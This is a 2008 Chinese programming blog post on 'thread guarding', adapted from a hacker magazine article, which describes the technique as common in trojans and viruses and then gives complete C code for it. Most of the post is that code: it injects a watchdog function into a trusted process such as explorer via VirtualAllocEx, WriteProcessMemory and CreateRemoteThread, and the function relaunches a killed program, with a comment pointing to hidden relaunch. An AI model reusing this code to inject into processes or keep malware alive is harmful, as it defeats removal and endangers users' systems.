線(xiàn)程守衛(wèi)
前幾天看雜志時(shí)看到了講進(jìn)程守衛(wèi)技術(shù)，讀完之后發(fā)現(xiàn)也并不是很難，自己就根據(jù)作者提供的代碼自己試著寫(xiě)了下，在原作者的基礎(chǔ)上將原代碼進(jìn)行了以下小的擴(kuò)充，使之應(yīng)用范圍大些。（原文參考<黑客防線(xiàn)>83期第84頁(yè)冷風(fēng)的那篇文章,如有侵權(quán)請(qǐng)見(jiàn)諒）.
所謂進(jìn)程守衛(wèi)顧名思義就是一個(gè)進(jìn)程保衛(wèi)另一個(gè)進(jìn)程，如果被保衛(wèi)的進(jìn)程被終止的話(huà)則守衛(wèi)進(jìn)程會(huì)自動(dòng)重新啟動(dòng)被保衛(wèi)進(jìn)程。這項(xiàng)技術(shù)在病毒木馬中應(yīng)用的很廣泛。如果想要結(jié)束病毒進(jìn)程的話(huà)，必須先要結(jié)束其守衛(wèi)進(jìn)程，而大多數(shù)木馬病毒會(huì)采用線(xiàn)程注入技術(shù)，將守衛(wèi)模塊注入像explorer,IE等系統(tǒng)信任進(jìn)程中，如果貿(mào)然結(jié)束這些系統(tǒng)進(jìn)程的話(huà)很容易造成系統(tǒng)的癱瘓，這對(duì)查殺造成很大困難。
其實(shí)就線(xiàn)程守衛(wèi)技術(shù)本身而言并無(wú)多大難度，主要是利用了線(xiàn)程注入技術(shù)。實(shí)現(xiàn)操作也就分兩步走
<1>將線(xiàn)程守衛(wèi)函數(shù)寫(xiě)入宿主進(jìn)程空間。
<2>CreateRomoteThread啟動(dòng)遠(yuǎn)程線(xiàn)程.
代碼我貼出來(lái)了，主要的函數(shù)就是CreateRemoteGuardThead，利用此函數(shù)就能隨意創(chuàng)建守護(hù)進(jìn)程，或守護(hù)自身，或守護(hù)其他進(jìn)程。
/**//*遠(yuǎn)程線(xiàn)程函數(shù)參數(shù)結(jié)構(gòu)體*/
typedef struct _remotestruct
{
DWORD rpOpenProcess;//OpenProcess函數(shù)地址
DWORD rpWinExec;//WinExec函數(shù)地址
DWORD rpWaitForSingleObject;//WaitForSingleObjiect函數(shù)地址
HANDLE rpProcessHandle;//被保護(hù)的進(jìn)程的句柄
DWORD rpProcessId;//被保護(hù)的進(jìn)程ID
TCHAR szFileName[MAX_PATH];//當(dāng)被保護(hù)的進(jìn)程結(jié)束是啟動(dòng)的程序路徑
}REMOTESTRUCT,*PREMOTESTRUCT;
/** *//*************************************************************************/
/**//* 遠(yuǎn)程線(xiàn)程函數(shù) */
/**//*函數(shù)功能:于遠(yuǎn)程線(xiàn)程創(chuàng)建，監(jiān)視被保護(hù)進(jìn)程，如果別保護(hù)進(jìn)程結(jié)束則立即創(chuàng)建 */
/** *//*************************************************************************/
DWORD WINAPI Remote(LPVOID lpParam)
{
PREMOTESTRUCT rp=(PREMOTESTRUCT)lpParam;
typedef HANDLE (WINAPI * EOpenProcess) (DWORD,BOOL,DWORD);
typedef UINT (WINAPI *EWinExec) (LPCSTR,UINT);
typedef DWORD (WINAPI *EWaitForSingleObject) (HANDLE,DWORD);
//在遠(yuǎn)程進(jìn)程中重定位所用的函數(shù)的地址
EOpenProcess tOpenProcess=(EOpenProcess)rp->rpOpenProcess;
EWinExec tWinExec=(EWinExec)rp->rpWinExec;
EWaitForSingleObject tWaitForSingleobject=(EWaitForSingleObject)rp->rpWaitForSingleObject;
//獲取被保護(hù)的進(jìn)程的句柄
rp->rpProcessHandle=tOpenProcess(PROCESS_ALL_ACCESS,TRUE,rp->rpProcessId);
//等待被保護(hù)的進(jìn)程，若被保護(hù)的進(jìn)程被終止則重新創(chuàng)建
tWaitForSingleobject(rp->rpProcessHandle,INFINITE);
//創(chuàng)建被保護(hù)的進(jìn)程
tWinExec(rp->szFileName,SW_SHOW /**//* SW_HIDE 隱藏創(chuàng)建 */);
return 0;
}//End_Remote
/** *//*******************************************************************************/
/**//* 封裝創(chuàng)建遠(yuǎn)程線(xiàn)程的函數(shù) */
/**//*打開(kāi)寄生進(jìn)程，寫(xiě)進(jìn)遠(yuǎn)程線(xiàn)程函數(shù)與此函數(shù)參數(shù)，然后創(chuàng)建遠(yuǎn)程線(xiàn)程啟動(dòng)函數(shù)進(jìn)行守護(hù) */
/**//*函數(shù)調(diào)用失敗返回0，成功返回遠(yuǎn)程線(xiàn)程句柄 */
/** *//*******************************************************************************/
HANDLE CreateRemoteGuardThead(
LPTSTR szGuardProcessName,//寄生進(jìn)程名
DWORD GuardedProcessId,//守護(hù)進(jìn)程Id
LPTSTR ExecPath//當(dāng)守護(hù)進(jìn)程終止時(shí)啟動(dòng)的進(jìn)程名
)
{
DWORD GuardProcessId=0;//寄生進(jìn)程ID
HANDLE GuardProcessHandle=NULL;//寄生進(jìn)程句柄
TCHAR FileName[MAX_PATH]={0};//自身路徑
TCHAR *FuncAddr;//遠(yuǎn)程線(xiàn)程中函數(shù)地址
TCHAR *ParamAddr;//遠(yuǎn)程線(xiàn)程函數(shù)參數(shù)地址
HMODULE Kernel32Handle;//kernel32模塊句柄
HANDLE hRemoteThread=NULL;//遠(yuǎn)程線(xiàn)程函數(shù)地址
//獲取寄生進(jìn)程ID
GuardProcessId=GetProcessIdByName(szGuardProcessName);
if(0==GuardProcessId)
{
printf("無(wú)法依據(jù)進(jìn)程名獲取進(jìn)程的ID.可能目標(biāo)進(jìn)程未啟動(dòng).");
return 0;
}
//打開(kāi)寄生進(jìn)程
GuardProcessHandle=OpenProcess(
PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION|PROCESS_VM_WRITE,
TRUE,
GuardProcessId
);
if(NULL==GuardProcessHandle)
{
printf("打開(kāi)進(jìn)程發(fā)生錯(cuò)誤.");
return 0;
}
//將遠(yuǎn)程線(xiàn)程函數(shù)代碼寫(xiě)入寄生進(jìn)程中
int cb=sizeof(TCHAR)*4*1024;
FuncAddr=(TCHAR*)VirtualAllocEx(GuardProcessHandle,NULL,cb,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
if(NULL==FuncAddr)
{
printf("申請(qǐng)遠(yuǎn)程線(xiàn)程函數(shù)空間失敗.");
CloseHandle(GuardProcessHandle);
return 0;
}
if(FALSE==WriteProcessMemory(GuardProcessHandle,FuncAddr,(LPVOID)Remote,cb,NULL))
{
printf("寫(xiě)入遠(yuǎn)程線(xiàn)程函數(shù)失敗.");
CloseHandle(GuardProcessHandle);
return 0;
}
//將遠(yuǎn)程線(xiàn)程函數(shù)的參數(shù)寫(xiě)入寄生進(jìn)程
REMOTESTRUCT rp;
memset((char*)&rp,0,sizeof(REMOTESTRUCT));
Kernel32Handle=GetModuleHandle("kernel32.dll");
rp.rpProcessId =GuardedProcessId;
rp.rpOpenProcess =(DWORD)GetProcAddress(Kernel32Handle,"OpenProcess");
rp.rpWinExec =(DWORD)GetProcAddress(Kernel32Handle,"WinExec");
rp.rpWaitForSingleObject=(DWORD)GetProcAddress(Kernel32Handle,"WaitForSingleObject");
strcpy(rp.szFileName,ExecPath);
cb=sizeof(TCHAR)*sizeof(rp);
ParamAddr=(TCHAR*)VirtualAllocEx(GuardProcessHandle,NULL,cb,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
if(NULL==ParamAddr)
{
printf("申請(qǐng)遠(yuǎn)程線(xiàn)程函數(shù)參數(shù)空間失敗.");
CloseHandle(GuardProcessHandle);
return 0;
}
if(FALSE==WriteProcessMemory(GuardProcessHandle,ParamAddr,(LPVOID)&rp,cb,NULL))
{
printf("寫(xiě)入遠(yuǎn)程線(xiàn)程函數(shù)參數(shù)失敗.");
CloseHandle(GuardProcessHandle);
return 0;
}
//開(kāi)啟遠(yuǎn)程線(xiàn)程，執(zhí)行遠(yuǎn)程線(xiàn)程函數(shù)
hRemoteThread=CreateRemoteThread(GuardProcessHandle,NULL,0,(LPTHREAD_START_ROUTINE)FuncAddr,ParamAddr,0,NULL);
if(NULL==hRemoteThread)
{
printf("遠(yuǎn)程線(xiàn)程函數(shù)創(chuàng)建失敗.");
CloseHandle(GuardProcessHandle);
return 0;
}
else
{
printf("遠(yuǎn)程線(xiàn)程函數(shù)創(chuàng)建成功.");
}
return hRemoteThread;
}//End_CreateRemoteGuardThead
/**//*輔助函數(shù)，用于根據(jù)進(jìn)程名得到進(jìn)程ID*/
DWORD GetProcessIdByName(LPCTSTR name)
{
PROCESSENTRY32 pe;
DWORD id = 0;
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
pe.dwSize = sizeof(PROCESSENTRY32);
BOOL PF=FALSE;
for(PF=Process32First(hSnapshot,&pe);PF;PF=Process32Next(hSnapshot,&pe))
{
if(strcmpi(pe.szExeFile,name) == 0)
{
id = pe.th32ProcessID;
break;
}
}
CloseHandle(hSnapshot);
return id;
}
posted on 2008-06-14 09:42
楊彬彬 閱讀(528)
評(píng)論(0) 編輯 收藏 引用 所屬分類(lèi):
Windows編程